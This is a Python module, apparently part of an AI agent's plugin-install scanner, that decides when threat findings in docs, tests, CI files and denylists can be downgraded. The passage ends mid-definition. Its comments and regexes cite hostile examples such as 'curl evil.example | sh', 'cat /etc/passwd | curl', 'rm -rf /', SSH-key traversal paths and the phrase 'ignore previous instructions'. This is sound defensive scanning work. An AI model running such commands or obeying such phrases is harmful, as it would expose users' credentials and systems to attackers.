plugin_guard_context.py 48 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836
  1. """Context demotions for plugin install-scan findings (``tools.plugin_guard``).
  2. The threat regexes in ``tools.skills_guard`` are written for a SKILL.md the agent will execute
  3. verbatim. A plugin repository is a codebase: the same text sits in READMEs, test fixtures, JSON
  4. scenery, denylists and regex literals, where it cannot run on the host at install time. Each
  5. helper here recognises one such *class* of inert context and lowers the finding one step or to
  6. informational. Nothing is deleted — every finding stays in the report with file and line — and
  7. nothing here applies to a bundled skill's own ``SKILL.md`` / ``skills/`` tree, which the agent
  8. does read as instructions. Every function is a pure predicate on (finding, line, path).
  9. """
  10. from __future__ import annotations
  11. import base64
  12. import binascii
  13. import re
  14. from pathlib import Path
  15. from typing import Optional
  16. from tools.skills_guard import _COMPILED_THREAT_PATTERNS, Finding
  17. # pattern id -> compiled regex, to locate a finding's token on its full source line.
  18. _PATTERN_BY_ID = {pid: rx for rx, pid, *_ in _COMPILED_THREAT_PATTERNS}
  19. # One severity step down; ``medium``/``low`` are already informational (verdict-neutral).
  20. STEP_DOWN = {"critical": "high", "high": "medium"}
  21. # ── (1) documentation prose ──────────────────────────────────────────────────────────────────
  22. # A README/AGENTS.md/docs page describing a command, a refused path (``~/.ssh`` in a denylist
  23. # table) or an uninstall step is not the plugin's runtime behaviour. Command- and path-shaped
  24. # findings there step down once (critical→high, high→medium): a doc line can never on its own
  25. # hard-block an install. Agent-facing shapes keep full severity because the prose IS the
  26. # payload for them: every ``injection`` pattern, the Markdown exfil/context patterns, the
  27. # agent-config edits, ``curl | sh`` install one-liners (a README is where those live), an
  28. # ``authorized_keys`` append, and a leaked provider key (a real secret is a real leak anywhere).
  29. DOC_PROSE_EXTENSIONS = {".md", ".txt", ".rst", ".html"}
  30. _PROSE_KEEPS_FULL_SEVERITY_CATEGORIES = {"injection", "credential_exposure"}
  31. _PROSE_KEEPS_FULL_SEVERITY_IDS = {
  32. "context_exfil", "send_to_url", "md_image_exfil", "md_link_exfil", "ssh_backdoor",
  33. "curl_pipe_shell", "wget_pipe_shell", "curl_pipe_python",
  34. "agent_config_mod", "agent_config_mod_shell", "agent_config_contract", "agent_config_ref",
  35. "hermes_config_mod", "hermes_config_mod_shell", "hermes_config_ref",
  36. "other_agent_config_mod", "other_agent_config_mod_shell", "other_agent_config_ref",
  37. }
  38. # Agent instruction surfaces inside a plugin — a bundled skill tree and the post-install note
  39. # the agent is shown — are executed as instructions, so they get no prose cap.
  40. _AGENT_INSTRUCTION_DIRS = {"skills", "optional-skills"}
  41. _AGENT_INSTRUCTION_FILES = {"skill.md", "after-install.md"}
  42. def is_doc_prose(rel_path: str) -> bool:
  43. """A documentation file that the loader never executes and the agent never runs as a skill."""
  44. p = Path(rel_path)
  45. if p.suffix.lower() not in DOC_PROSE_EXTENSIONS or p.name.lower() in _AGENT_INSTRUCTION_FILES:
  46. return False
  47. return not any(part.lower() in _AGENT_INSTRUCTION_DIRS for part in p.parts[:-1])
  48. # A repository's CI pipeline (``.github/workflows/*.yml``) runs on the forge's runner, never on the
  49. # host that installs the plugin, and the agent never reads it as instructions. Its ``os.environ``
  50. # reads (``RUNNER_TEMP``, ``GITHUB_ENV``) and ``pip install`` steps are the CI's own plumbing, so
  51. # it takes the same one-step prose cap as a README: visible, confirmable, never a hard block on
  52. # its own. Only the workflow directory proper — a ``.github/scripts/*.py`` is real code.
  53. _CI_WORKFLOW_SUFFIXES = {".yml", ".yaml"}
  54. def is_ci_workflow(rel_path: str) -> bool:
  55. """A forge CI workflow definition: ``.github/workflows/<name>.yml`` or a GitLab ``.gitlab-ci.yml``.
  56. Both run on the forge's runner, never on the host that installs the plugin, and the agent never
  57. reads them as instructions, so they take the README prose cap (``os.environ`` reads, ``pip install``
  58. steps and ``curl | sh`` of a CI tool are the pipeline's own plumbing)."""
  59. p = Path(rel_path)
  60. if p.name.lower() == ".gitlab-ci.yml":
  61. return True
  62. return (len(p.parts) == 3 and p.parts[0].lower() == ".github" and p.parts[1].lower() == "workflows"
  63. and p.suffix.lower() in _CI_WORKFLOW_SUFFIXES)
  64. def is_agent_facing(finding: Finding) -> bool:
  65. """A shape whose prose IS the payload (injection, agent-config edit, install one-liner, leaked key)."""
  66. return (finding.category in _PROSE_KEEPS_FULL_SEVERITY_CATEGORIES
  67. or finding.pattern_id in _PROSE_KEEPS_FULL_SEVERITY_IDS)
  68. def prose_cap(finding: Finding) -> Optional[str]:
  69. """Stepped-down severity for a command/path-shaped finding in documentation, else None."""
  70. return None if is_agent_facing(finding) else STEP_DOWN.get(finding.severity)
  71. # ── (1c) documented ``curl | sh`` of a known installer ───────────────────────────────────────
  72. # ``curl_pipe_shell`` keeps full severity in prose because a README — and a CI workflow — is exactly
  73. # where a malicious download-and-execute one-liner would be planted (``curl evil.example | sh`` in a
  74. # ``.github/workflows`` step stays ``high``). The documented, non-attack shape is a pipe whose URL is a
  75. # NAMED trusted installer: Hermes' own ``install.sh``, a named upstream runtime (``ollama.com``,
  76. # ``bun.sh``, ``get.docker.com``, ``sh.rustup.rs`` …), a named dev-tool CLI (``app.factory.ai``), or a
  77. # GitHub ``raw`` URL whose path is an ``install`` script. That lands at medium (a note). An unpinned /
  78. # unknown third-party domain — the attack shape — keeps full severity, in README, code, OR CI.
  79. _PIPE_TO_SHELL_IDS = {"curl_pipe_shell", "wget_pipe_shell", "curl_pipe_python"}
  80. _URL_IN_LINE = re.compile(r'https?://([^\s/"\'`)]+)([^\s"\'`)]*)')
  81. _TRUSTED_INSTALLER_HOSTS = {
  82. "hermes-agent.nousresearch.com", "ollama.com", "bun.sh",
  83. "get.docker.com", "sh.rustup.rs", "deno.land", "astral.sh", "app.factory.ai",
  84. }
  85. def _is_trusted_installer_url(host: str, path: str) -> bool:
  86. host = host.lower()
  87. if host in _TRUSTED_INSTALLER_HOSTS:
  88. return True
  89. # A GitHub raw URL is user-controlled, so only an ``install``-named script path qualifies
  90. # (``.../scripts/install.sh``, ``.../install-plugin.sh``), never an arbitrary payload.
  91. return host == "raw.githubusercontent.com" and "install" in path.lower()
  92. def is_trusted_installer_pipe(finding: Finding, line: str) -> bool:
  93. """A ``curl|sh`` finding whose every ``http(s)://`` URL is a named trusted installer — a documented
  94. install step, not an attack. An unknown domain anywhere on the line disqualifies the whole line."""
  95. if finding.pattern_id not in _PIPE_TO_SHELL_IDS:
  96. return False
  97. urls = [(m.group(1), m.group(2)) for m in _URL_IN_LINE.finditer(line)]
  98. return bool(urls) and all(_is_trusted_installer_url(h, p) for h, p in urls)
  99. # ── (1b) language-pack catalogs ─────────────────────────────────────────────────────────────
  100. # ``locales/<lang>[.tui|.desktop].yaml`` in a ``provides_locales`` plugin is user-facing UI text
  101. # the loader reads as string leaves and shows to a human; nothing in it is executed or edits a
  102. # file, so the agent-config/hermes-config family steps down like any other prose (the bundled
  103. # ``en.yaml`` itself matches ``updating: "... AGENTS.md"``). Injection shapes and leaked keys
  104. # keep full severity: a pack can still carry model-directed text.
  105. _CATALOG_STEPS_DOWN_IDS = {
  106. "agent_config_mod", "agent_config_mod_shell", "agent_config_contract", "agent_config_ref",
  107. "hermes_config_mod", "hermes_config_mod_shell", "hermes_config_ref",
  108. "other_agent_config_mod", "other_agent_config_mod_shell", "other_agent_config_ref",
  109. }
  110. _LOCALE_CATALOG_SUFFIXES = {".yaml", ".yml"}
  111. def is_locale_catalog(rel_path: str) -> bool:
  112. """A ``locales/<name>.yaml`` catalog at the plugin root."""
  113. p = Path(rel_path)
  114. return len(p.parts) == 2 and p.parts[0].lower() == "locales" and p.suffix.lower() in _LOCALE_CATALOG_SUFFIXES
  115. def catalog_cap(finding: Finding) -> Optional[str]:
  116. """Stepped-down severity for a finding inside a locale catalog, else None. The agent-config family
  117. is a translated UI STATUS STRING there (``updating: "… AGENTS.md …"``) — the pack cannot write a
  118. file — so it caps to a note (medium), not merely one step; other shapes take the one-step prose cap."""
  119. if finding.pattern_id in _CATALOG_STEPS_DOWN_IDS:
  120. rank = {"low": 0, "medium": 1, "high": 2, "critical": 3}
  121. return finding.severity if rank.get(finding.severity, 0) <= rank["medium"] else "medium"
  122. return prose_cap(finding)
  123. # A README "Uninstall" section removing the plugin's OWN install directory under ``~/.hermes`` is the one
  124. # destructive shape that is harmless by construction: one ``rm``, every operand rooted at
  125. # ``$HOME``/``${HOME}``/``~`` + ``/.hermes/`` with a plain segment path and a plain leaf — no glob, no
  126. # ``..``, nothing chained. Documented shapes: ``plugins/<name>`` / ``skills/<name>``, a profile-scoped
  127. # ``profiles/<profile>/{plugins,roles,...}/<name>``, ``desktop-plugins/<name>``, and the plugin's own
  128. # data dir ``~/.hermes/<name>`` — and up to a few such operands on one line (``rm -rf ~/.hermes/profiles/N/plugins/crew
  129. # ~/.hermes/profiles/N/roles/crew``). It lands at medium (a note). A wider target (``$HOME``, ``$HOME/.hermes``,
  130. # ``$HOME/.hermes/plugins/*``) only gets the generic prose step (high, caution) and the same line in a ``.sh``
  131. # stays critical (#115353).
  132. _UNINSTALL_HOME = r'(?:\$HOME|\$\{HOME\}|~)/\.hermes'
  133. def _uninstall_operand(group: str) -> str:
  134. """One ``~/.hermes/<segments>/<leaf>`` operand, optionally quoted (quote tracked by *group*)."""
  135. return (rf'(?P<{group}>["\']?)' + _UNINSTALL_HOME
  136. + rf'(?:/[A-Za-z0-9][A-Za-z0-9._-]*)+/?(?P={group})')
  137. # ``rm`` plus one or more such operands on the line (``crew`` deletes a plugins dir and a roles dir):
  138. # distinct capture-group names so the optional-quote backreferences do not collide.
  139. _SELF_UNINSTALL_RM = re.compile(
  140. r'^(?:\$\s*)?rm\s+(?:-[a-zA-Z]+\s+)*'
  141. + _uninstall_operand("q0")
  142. + r'(?:\s+' + _uninstall_operand("q1") + r')*'
  143. + r'\s*(?:#.*)?$'
  144. )
  145. # The same shape embedded in a backtick code span mid-prose (``… When you're done, `rm -rf
  146. # ~/.hermes/profiles/lancedb-demo` removes all trace``): the span must contain ONLY the ``rm`` and its
  147. # ``~/.hermes`` operands and then close (no chaining, no ``&&``, no trailing command), so a chained or
  148. # force-push example (``rm -rf ~/x && git push --force``) does not qualify.
  149. _SELF_UNINSTALL_RM_IN_SPAN = re.compile(
  150. r'`(?:\$\s*)?rm\s+(?:-[a-zA-Z]+\s+)*'
  151. + _uninstall_operand("q2")
  152. + r'(?:\s+' + _uninstall_operand("q3") + r')*\s*`'
  153. )
  154. def is_self_uninstall_doc(finding: Finding, line: str) -> bool:
  155. if finding.pattern_id != "destructive_home_rm":
  156. return False
  157. stripped = line.strip()
  158. return (_SELF_UNINSTALL_RM.match(stripped) is not None
  159. or _SELF_UNINSTALL_RM_IN_SPAN.search(line) is not None)
  160. # ── (2) test trees and fixtures ──────────────────────────────────────────────────────────────
  161. # Test code and fixtures deliberately hold hostile strings (``rm -rf /`` in a DENY table,
  162. # ``/etc/passwd`` in a traversal probe, a fake ``sk-`` key in a redaction corpus) to prove the
  163. # plugin rejects them. They are still scanned — ``from .tests import evil`` would run — but a
  164. # finding there steps down once, so a fixture cannot hard-block and a string-only fixture is
  165. # a note. A root-level test dir (``tests/``, ``fixtures/``) or the unambiguous dunder names at any
  166. # depth (``src/__tests__/``), plus test-file naming (``foo.test.js``, ``test_foo.py``, and the
  167. # plural ``tests_state.py`` / ``state_tests.py`` a single-module plugin uses when it has no
  168. # ``tests/`` dir); a nested ``src/spec/handler.py`` is runtime code and gets no cap.
  169. TEST_TREE_DIRS = {"tests", "test", "testing", "spec", "specs", "fixtures"}
  170. _TEST_DIRS_ANY_DEPTH = {"__tests__", "__fixtures__", "__mocks__"}
  171. _TEST_FILE_NAME = re.compile(r"^(?:tests?_[^/]*|[^/]*_tests?\.[^./]+|[^/]*\.(?:test|spec)\.[^./]+)$", re.IGNORECASE)
  172. # In a test file, a hostile string that is only DATA — quoted, with no exec verb on the line
  173. # (``verdict_for("rm -rf /")``, ``("/etc/passwd", "DENY")``) — is a note; a fixture file that is
  174. # not code at all (``corpus.json``) likewise. ``os.system('rm -rf /')`` or ``open('/etc/passwd')``
  175. # in a test still steps down only once: the line executes when imported.
  176. _EXEC_ON_LINE = re.compile(
  177. r"\b(?:system|popen|run|call|check_output|check_call|Popen|exec|execv\w*|spawn\w*|eval|execSync|execFile\w*"
  178. r"|spawnSync|child_process|source|os\.startfile|open)\s*\(|\$\(|(?<![\w\\])`", re.IGNORECASE)
  179. # In Python/JS/TS a quote never runs a command, so ``$(whoami)`` or a backtick INSIDE a string
  180. # literal (``'; rm -rf / ; $(whoami) `id`'`` in a hostile-input table) is data, not an exec marker;
  181. # the call that would run it (``os.system(``, ``exec(``) sits outside the literal and still counts.
  182. # Shell-like files keep the raw line: there ``"$(id)"`` executes inside double quotes.
  183. _QUOTES_NEVER_EXECUTE_SUFFIXES = {".py", ".pyi", ".js", ".mjs", ".cjs", ".jsx", ".ts", ".mts", ".cts", ".tsx"}
  184. # An exec call whose FIRST argument is a string literal runs that literal: ``os.system('rm -rf /')``,
  185. # ``open('/etc/passwd')``, ``exec("code")``. A test dispatcher that passes the hostile string as a
  186. # LATER argument or nested in a dict — ``call(core.detail, "/etc/passwd")``, ``call('read_file',
  187. # {'path': '/etc/passwd'})`` — hands it as data to a mock and does not run it. ``call``/``run`` are in
  188. # the exec list for ``subprocess.call``/``.run``, but a bare test helper named ``call()`` collides with
  189. # it; keying on first-argument position distinguishes the two without dropping a real exec.
  190. _EXEC_CALL_OPEN = re.compile(
  191. r"\b(?:system|popen|run|call|check_output|check_call|Popen|exec|execv\w*|spawn\w*|eval|execSync"
  192. r"|execFile\w*|spawnSync|source|os\.startfile|open)\s*\(\s*", re.IGNORECASE)
  193. def _exec_first_arg_literal_spans(line: str, spans: list[tuple[int, int]]) -> list[tuple[int, int]]:
  194. """Literal spans that sit as the direct first argument of an exec call (``open('<lit>')``)."""
  195. out = []
  196. for m in _EXEC_CALL_OPEN.finditer(line):
  197. span = next(((a, b) for a, b in spans if a == m.end()), None)
  198. if span is not None:
  199. out.append(span)
  200. return out
  201. def _executes(line: str, rel_path: str) -> bool:
  202. if Path(rel_path).suffix.lower() in _QUOTES_NEVER_EXECUTE_SUFFIXES:
  203. line = _LITERAL_SPANS.sub(lambda m: m.group(0)[0] + " " * (len(m.group(0)) - 2) + m.group(0)[-1], line)
  204. return _EXEC_ON_LINE.search(line) is not None
  205. def is_inert_fixture_line(finding: Finding, line: str, is_code: bool, rel_path: str = "") -> bool:
  206. """The finding's text is quoted test data that nothing on the line runs: every hit is inside a
  207. string literal, and no such literal is the direct first argument of an exec call. A literal passed
  208. as a later argument / nested in a dict to a test dispatcher (``call(x, "/etc/passwd")``) is data;
  209. ``open('/etc/passwd')`` — the literal as open's first arg — executes and is not inert."""
  210. if not is_code:
  211. return True
  212. rx = _PATTERN_BY_ID.get(finding.pattern_id)
  213. hits = list(rx.finditer(line)) if rx else []
  214. if not hits:
  215. return False
  216. spans = [m.span() for m in _LITERAL_SPANS.finditer(line)]
  217. exec_arg_spans = _exec_first_arg_literal_spans(line, spans)
  218. # A non-call exec marker on the line (``$(`` substitution, a shell backtick, a bare ``exec_marker``
  219. # with no literal first arg, e.g. ``os.system(payload)`` naming a variable) still executes.
  220. non_literal_exec = _executes(line, rel_path) and not _EXEC_CALL_OPEN.search(line)
  221. def quoted_data(h: re.Match[str]) -> bool:
  222. span = next(((a, b) for a, b in spans if a <= h.start() and h.end() <= b), None)
  223. return span is not None and span not in exec_arg_spans
  224. return not non_literal_exec and all(quoted_data(h) for h in hits)
  225. def is_test_tree(rel_path: str) -> bool:
  226. p = Path(rel_path)
  227. return (
  228. (len(p.parts) > 1 and p.parts[0].lower() in TEST_TREE_DIRS)
  229. or any(part.lower() in _TEST_DIRS_ANY_DEPTH for part in p.parts[:-1])
  230. or _TEST_FILE_NAME.match(p.name) is not None
  231. )
  232. # ── (3) base64 media data ────────────────────────────────────────────────────────────────────
  233. # ``encoded_exfil`` (``base64 … env``) fires on a data URI whose payload happens to contain the
  234. # letters "env" (PNG scenery, embedded fonts). Decode the head of the blob and sniff it: a
  235. # known image/font/audio/document magic number means the bytes are an asset, not an encoder
  236. # call, and the finding drops to informational (kept in the report).
  237. _BASE64_RUN = re.compile(r"(?:base64,)?([A-Za-z0-9+/]{24,}={0,2})")
  238. _MEDIA_MAGIC = (
  239. b"\x89PNG", b"\xff\xd8\xff", b"GIF8", b"RIFF", b"wOFF", b"wOF2", b"OTTO", b"\x00\x01\x00\x00",
  240. b"ttcf", b"BM", b"%PDF", b"\x00\x00\x01\x00", b"<svg", b"<?xml", b"ID3", b"OggS", b"fLaC", b"\x1a\x45\xdf\xa3",
  241. )
  242. def _decoded_head(blob: str) -> bytes:
  243. head = blob[:16]
  244. head = head[: len(head) - len(head) % 4]
  245. try:
  246. return base64.b64decode(head, validate=True)
  247. except (binascii.Error, ValueError):
  248. return b""
  249. def is_base64_media(line: str) -> bool:
  250. """The line's first long base64 run decodes to a recognised media/document header."""
  251. for m in _BASE64_RUN.finditer(line):
  252. if _decoded_head(m.group(1)).startswith(_MEDIA_MAGIC):
  253. return True
  254. return False
  255. # ── (3b) a base64 encode→decode round-trip of a freshly-created archive ─────────────────────────
  256. # ``base64_decode_pipe`` flags ``base64 -d | tar`` as the embedded-payload attack (``tail "$0" |
  257. # base64 -d | tar x`` self-extracts a blob the scanner never sees). A base64 TRANSPORT of a
  258. # freshly-made archive — ``tar czf - … | base64 … | base64 -d | tar xzf - -C "$DEST"`` over SSH — is
  259. # data movement: the archive is CREATED on the line (``tar c…``) and the base64 is an ENCODE feeding a
  260. # matching DECODE (round-trip), not an opaque embedded blob. Such a line is a note. The embedded-blob
  261. # attack (decode only, no ``tar c``/no prior ``base64`` encode) keeps full severity.
  262. _B64_ROUNDTRIP = re.compile(
  263. r'\bbase64\b(?![^\n|;&]*(?:-[a-z]*d[a-z]*|--decode))[^\n]*\|[^\n]*'
  264. r'\bbase64\s+(?:-[^\s|]+\s+)*?(?:-[a-z]*d[a-z]*|--decode)\b', re.IGNORECASE)
  265. _TAR_CREATE = re.compile(r'\btar\s+(?:-?-?create\b|-?-?c[a-z]*f?\b|c[a-z]*f?\b)', re.IGNORECASE)
  266. def is_base64_archive_roundtrip(finding: Finding, line: str) -> bool:
  267. """A ``base64_decode_pipe`` line that both CREATES an archive (``tar c``) and does a base64
  268. encode→decode round-trip — a transport, not an opaque embedded payload."""
  269. if finding.pattern_id != "base64_decode_pipe":
  270. return False
  271. return bool(_B64_ROUNDTRIP.search(line)) and bool(_TAR_CREATE.search(line))
  272. # ── (5)/(6) alternation tokens inside string or regex literals in code ──────────────────────
  273. # ``sudo`` in ``/clarify|approval|sudo|secret/.test(value)`` classifies an event name; ``env|``
  274. # in ``re.compile(r"(?:api[_-]?key|…|env|headers)")`` is a redaction regex; ``"printenv",`` in
  275. # ``_READ_ONLY_COMMANDS = frozenset({"pwd", "ls", …, "printenv"})`` is a denylist/allowlist entry;
  276. # ``mkfs`` in ``re.compile(r"\b(?:rm|rmdir|shred|mkfs|dd)\b")`` is a guard plugin's OWN denylist
  277. # (an un-overridable ``dangerous`` on the plugin whose job is to refuse that command).
  278. # The shape that is inert is narrow: the word sits inside a quoted string or regex literal AND is
  279. # either an alternation member (``|sudo|``, ``(sudo|``, ``|env|``) or the ENTIRE literal
  280. # (``"printenv"``, ``'sudo'``) on a line that executes nothing. A command string such as
  281. # ``"sudo apt install x"``, ``"env | grep KEY"`` or ``"mkfs.ext4 /dev/sda1"`` inside a
  282. # ``subprocess.run(...)`` literal is how an attack is written and never qualifies. Only
  283. # word-shaped patterns are eligible.
  284. LITERAL_INERT_PATTERN_IDS = {"sudo_usage", "dump_all_env", "format_filesystem"}
  285. _LITERAL_SPANS = re.compile(
  286. r"""(?P<s>[rRbBuUfF]{0,2}"(?:[^"\\\n]|\\.)*"|[rRbBuUfF]{0,2}'(?:[^'\\\n]|\\.)*'|`(?:[^`\\\n]|\\.)*`)"""
  287. r"""|(?P<rx>(?<![\w)\]])/(?:[^/\\\n\[]|\\.|\[(?:[^\]\\\n]|\\.)*\])+/[dgimsuvy]*(?![A-Za-z]))""" # js regex literal
  288. )
  289. # The regex-literal branch accepts only real JS flags: with ``[a-z]*`` a bare Unix path lexed as a
  290. # literal (``/etc/`` + flags ``passwd``) and an unquoted ``cat /etc/passwd | curl …`` in a test
  291. # script scored as inert data.
  292. _PATTERN_TOKEN = {
  293. "sudo_usage": re.compile(r"\bsudo\b"), "dump_all_env": re.compile(r"printenv|env\s*\|"),
  294. "format_filesystem": re.compile(r"\bmkfs\b"),
  295. }
  296. def _is_alternation_member(line: str, start: int, end: int) -> bool:
  297. before = line[start - 1] if start > 0 else ""
  298. after = line[end] if end < len(line) else ""
  299. return before in "|(" or after in "|)"
  300. def _is_whole_literal(line: str, start: int, end: int, span: tuple[int, int]) -> bool:
  301. """The token is the entire quoted content of the literal it sits in (``"printenv"``)."""
  302. a, b = span
  303. return start == a + 1 and end == b - 1 and line[a] in "\"'`" and not _EXEC_ON_LINE.search(line)
  304. def is_regex_alternation_token(finding: Finding, line: str) -> bool:
  305. """Every occurrence of the finding's token sits inside a literal as an alternation member
  306. or as the whole literal (a list entry) on a line that executes nothing."""
  307. token = _PATTERN_TOKEN.get(finding.pattern_id)
  308. if token is None:
  309. return False
  310. spans = [m.span() for m in _LITERAL_SPANS.finditer(line)]
  311. hits = list(token.finditer(line))
  312. def inert(h: re.Match[str]) -> bool:
  313. if " " in h.group(0):
  314. return False
  315. span = next(((a, b) for a, b in spans if a <= h.start() and h.end() <= b), None)
  316. if span is None:
  317. return False
  318. return _is_alternation_member(line, h.start(), h.end()) or _is_whole_literal(line, h.start(), h.end(), span)
  319. return bool(hits) and all(inert(h) for h in hits)
  320. # ── (5b) ``sudo`` in advisory text or a safety disclaimer ─────────────────────────────────────
  321. # ``sudo_usage`` fires on the bare word. Two shapes are not privilege escalation: (a) an advisory
  322. # INSTALL/ADMIN HINT the plugin prints/returns — ``return "sudo apt install pass"``, ``"sudo snap
  323. # install bw"``, ``f"sudo systemctl restart …"`` — ``sudo`` immediately followed by a package manager
  324. # or admin tool (apt/snap/dnf/systemctl/…) or a ``sudo`` option, inside a string literal on a line
  325. # that executes nothing; and (b) a SAFETY DISCLAIMER that forbids it — ``Never ask the user for a sudo
  326. # password``, ``no permissions, xattrs, sudo`` — where a negation governs the word. Both land at medium
  327. # (a note), CODE files only. A bare command string (``"please run sudo id"``), a ``["sudo", "id"]`` args
  328. # element, a ``subprocess.run(["sudo", ...])`` call, and a real ``sudo apt-get install`` line in a shell
  329. # script keep full severity (the first two are handled on data files by ``is_json_prose_value``).
  330. _SUDO_TOKEN = re.compile(r"\bsudo\b(?!\.\w)")
  331. _SUDO_ADMIN_HINT = re.compile(
  332. r"\bsudo\s+(?:-[A-Za-z]+\b\s+)*(?:apt|apt-get|snap|dnf|yum|pacman|zypper|apk|brew|port|emerge"
  333. r"|systemctl|service|launchctl|pip[0-9]*|npm|gem|-u\b|-E\b|-H\b|-n\b)", re.IGNORECASE)
  334. # ``(?:sudo\s+)?(?:git|…)`` — ``sudo`` inside a REGEX pattern string (the literal ``\s`` whitespace
  335. # metacharacter marks it as the plugin's OWN command-parser regex, never a real invocation).
  336. _SUDO_IN_REGEX = re.compile(r"\(\?:?\s*sudo\\s", re.IGNORECASE)
  337. _SUDO_NEGATION = re.compile(
  338. r"\b(?:never|not|no|without|don'?t|cannot|can'?t|avoid|refus\w*|forbid\w*|disallow\w*)\b",
  339. re.IGNORECASE)
  340. def _sudo_in_safety_clause(line: str, start: int) -> bool:
  341. """A negation word governs this ``sudo`` — anywhere earlier in the sentence, or in the
  342. short clause right after it (``no permissions, xattrs, sudo``)."""
  343. before = line[:start]
  344. # restrict to the current sentence/clause so a negation two sentences back does not leak in
  345. clause = re.split(r"[.;]", before)[-1]
  346. return _SUDO_NEGATION.search(clause) is not None
  347. def is_sudo_inert(finding: Finding, line: str, rel_path: str) -> bool:
  348. """Every ``sudo`` on the line is an advisory install/admin HINT inside a non-executing string
  349. literal, or is governed by a safety negation. A bare ``sudo <cmd>`` command string (``"sudo id"``,
  350. a ``["sudo", "id"]`` args element) is not an admin hint and is not demoted — on JSON data files
  351. those are handled (and kept at severity) by ``is_json_prose_value``."""
  352. if finding.pattern_id != "sudo_usage":
  353. return False
  354. hits = list(_SUDO_TOKEN.finditer(line))
  355. if not hits:
  356. return False
  357. executes = _executes(line, rel_path)
  358. spans = [m.span() for m in _LITERAL_SPANS.finditer(line)]
  359. admin_hint = {m.start() for m in _SUDO_ADMIN_HINT.finditer(line)}
  360. in_regex = _SUDO_IN_REGEX.search(line) is not None
  361. def inert(h: re.Match[str]) -> bool:
  362. in_literal = any(a <= h.start() and h.end() <= b for a, b in spans)
  363. if in_literal and not executes and (h.start() in admin_hint or in_regex):
  364. return True
  365. return _sudo_in_safety_clause(line, h.start())
  366. return all(inert(h) for h in hits)
  367. # ── (5b2) ``env``/``printenv`` in a safety disclaimer ────────────────────────────────────────────
  368. # ``dump_all_env`` fires on ``env |``/``printenv``. A SKILL.md safety rule forbidding it —
  369. # ``**Never inspect the environment.** Do not run `env`, `printenv`, `set` …`` (the official
  370. # nvidia-broadcast skill) — is the opposite of an env dump. When every ``dump_all_env`` hit on the line
  371. # is governed by a safety negation (``never``/``do not``/``no`` …), the finding is a note. A real
  372. # ``env | curl …`` keeps full severity (no negation governs it).
  373. _ENV_DUMP_TOKEN = re.compile(r"printenv|(?<![A-Za-z0-9_])env\s*\|(?!\|)(?!\s*[{(])")
  374. def is_env_dump_in_safety_clause(finding: Finding, line: str) -> bool:
  375. """Every ``dump_all_env`` hit on the line is governed by a safety negation (a "never/do not" rule)."""
  376. if finding.pattern_id != "dump_all_env":
  377. return False
  378. hits = list(_ENV_DUMP_TOKEN.finditer(line))
  379. return bool(hits) and all(_sudo_in_safety_clause(line, h.start()) for h in hits)
  380. # ── (5c) a documented injection PHRASE that the plugin's own filter refuses ─────────────────────
  381. # A context/memory plugin's CHANGELOG or a ``#``/``//`` code comment names the exact phrase its
  382. # validator rejects (``"ignore previous instructions"``), and a build note shows a role-label example
  383. # in a backtick span (`` `User: ignore previous instructions` ``). Quoted that way, inside a defensive
  384. # doc (comment / CHANGELOG), the phrase is a description of a defense, not an instruction — it caps to a
  385. # note rather than the one-step comment cap. An UNQUOTED injection in a README/SKILL.md prose line, or
  386. # a quoted phrase outside a comment/CHANGELOG, keeps full severity.
  387. _INJECTION_PHRASE_IDS = {"prompt_injection_ignore", "disregard_rules"}
  388. _QUOTED_SPAN = re.compile(r'"[^"\n]*"|\'[^\'\n]*\'|`[^`\n]*`|«[^»\n]*»|“[^”\n]*”|‘[^’\n]*’')
  389. def is_quoted_injection_phrase(finding: Finding, line: str) -> bool:
  390. """The finding's injection phrase sits entirely inside a quoted/backtick span on the line."""
  391. if finding.pattern_id not in _INJECTION_PHRASE_IDS:
  392. return False
  393. rx = _PATTERN_BY_ID.get(finding.pattern_id)
  394. if rx is None:
  395. return False
  396. spans = [m.span() for m in _QUOTED_SPAN.finditer(line)]
  397. hits = list(rx.finditer(line))
  398. return bool(hits) and all(any(a <= h.start() and h.end() <= b for a, b in spans) for h in hits)
  399. # ── (6) repo-root traversal in a build/setup script ─────────────────────────────────────────────
  400. # ``path_traversal_deep`` (``../../..``) fires on build-script repo-root resolution:
  401. # ``resolve(import.meta.dir, '../../..')``, ``cd "$SCRIPT_DIR/../../.."``, ``.../../../..`` — climbing
  402. # out of a nested package to the repository root. Those ``..`` segments resolve to a known ancestor of
  403. # the plugin, not into a victim's tree. When every ``../../..`` run on the line is followed only by
  404. # more ``..``/path separators or a quote/paren (no SENSITIVE leaf — ``etc``, ``passwd``, ``shadow``,
  405. # ``.ssh``, ``.aws``, ``.env``, ``.hermes``, ``.gnupg``, ``.kube``, ``.docker``, ``.npmrc`` …), the
  406. # finding is a note. A traversal INTO a sensitive path (``../../../etc/passwd``, ``../../../.ssh/id_rsa``)
  407. # keeps full severity.
  408. _TRAVERSAL_RUN = re.compile(r"(?:\.\./)+\.\.")
  409. _SENSITIVE_AFTER_TRAVERSAL = re.compile(
